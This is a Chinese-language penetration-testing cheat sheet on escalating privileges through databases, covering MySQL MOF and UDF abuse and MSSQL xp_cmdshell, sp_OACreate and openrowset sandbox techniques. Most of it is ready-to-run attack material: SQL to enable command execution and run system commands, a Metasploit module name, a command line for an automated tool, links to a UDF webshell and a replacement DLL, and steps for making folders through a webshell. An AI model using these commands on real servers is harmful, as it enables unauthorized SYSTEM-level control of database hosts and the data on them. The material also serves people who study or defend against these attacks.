数据库提权 #
MySQL数据库提权 #
MOF提权
MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)
叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡
利用条件:
Windows<=2003mysql在c:/windows/system32/wbem/mof目录有写权限 已知数据库root账号密码 数据库允许外连 secure_file_priv为空
当secure_file_priv的值没有具体值时,表示不对MySQL的导入|导出做限制,如果是null,表示MySQL不允许导入导出
#查看secure_file_priv的值SHOW VARIABLES LIKE "secure_file_priv";#这个值可以在my.ini设置为空secure_file_priv =
提权原理:
MOF文件既然每五秒就会执行,而且是系统权限; 我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件; 然后系统每隔五秒就会执行一次我们上传的MOF。 MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
这个提权方式条件非常严苛,数据库在system32写文件这个条件一般很难达到,而且较新的系统无法使用MOF提权。
MSF 下有Mof 提权模块
执行成功后会直接反弹一个 system权限的meterpreter 。
use exploit/windows/mysql/mysql_mof
UDF提权 #
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数
用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll
利用条件:
Server 2003、Windows XP、Windows 7已知mysql中root的账号密码 mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/ mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\ secure_file_priv为空
提权原理:
利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库) 当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。 这样我们自定义的函数才被当作本机函数执行。 在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而提权
可以直接查询插件安装目录:
show variables like %plugin%
如果plugin不存在,可以用NTFS ADS流来创建文件夹并导入dll
#先找到Mysql的目录select @@basedir;#利用ADS流来创建plugin文件夹(测试并不能成功创建)select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
网上流传的是在数据库中直接就能利用ADS流创建plugin文件夹,但我测试发现直接导入文件可以,并不能创建文件夹。
但是利用ADS流确实能创建文件夹,如以下命令(可以自己测试一下)
echo 123 > test::$INDEX_ALLOCATION
#这条命令会创建一个test文件夹
所以我是用Webshell这样创建的plugin文件夹:
echo 123 > C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION
有一个自动化工具:https://github.com/T3st0r-Git/HackMySQL
#上边的创建plugin目录步骤完成后直接利用即可
python root.py -a 192.168.2.9 -proot -e "whoami"
通过WebShell上传udf.php(这种方法数据库不用外连也可以)
udf.php:https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php
MSSQL数据库提权 #
首先查看权限
--是否sa权限,返回 1 就是sa
select IS_SRVROLEMEMBER('sysadmin')
--是否dba权限,返回 1 就是DBA
select IS_MEMBER('db_owner')
一、xp_cmdshell
适用(xp\2000\2003系统) 前提是MSSQL是以system用户运行的,才能提权; 如果用nt authority\network service运行,是没有系统权限的。
默认情况下是关闭的,用下边的命令开启
EXEC sp_configure 'show advanced options', 1; --允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; --打开xp_cmdshell扩展
RECONFIGURE;
如果xp_cmdshell被删除,可以尝试上传xplog70.dll https://fix4dll.com/xplog70_dll 进行恢复,恢复语句:
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\\xplog70.dll';
然后执行命令
exec xp_cmdshell 'whoami';
二、SP_OACreate
适用(xp\2000\2003系统)
当xp_cmdshell 删除以后,还可以使用SP_OACreate
首先要打开组件:
--开启EXEC
sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
--关闭EXEC
sp_configure 'show advanced options', 0;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
之后使用以下语句执行命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
这种方式是无回显的,打开1.txt查看命令执行结果
type c:\\1.txt
三、openrowset沙盒
(2003系统可用、2012-r2实验失败)
首先检查cmd_shell是否开启
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
--结果为 1 就是开启
第二步 开启默认关闭的xp_regwrite存储过程
--开启
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\Microsoft\Jet\4.0\Engines' ,'SandBoxMode' ,'REG_DWORD' ,0;
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'Ad Hoc Distributed Queries', 1
GO
RECONFIGURE
GO
--利用完后恢复
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
EXEC sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
EXEC sp_configure 'show advanced options',0;reconfigure;
利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c whoami > c:\\666.txt")')
这个也是无回显的
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式1:为仅在允许范围内2:必须在access模式下3:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库
OLE DB是应用程序链接到SQL Server的的驱动程序
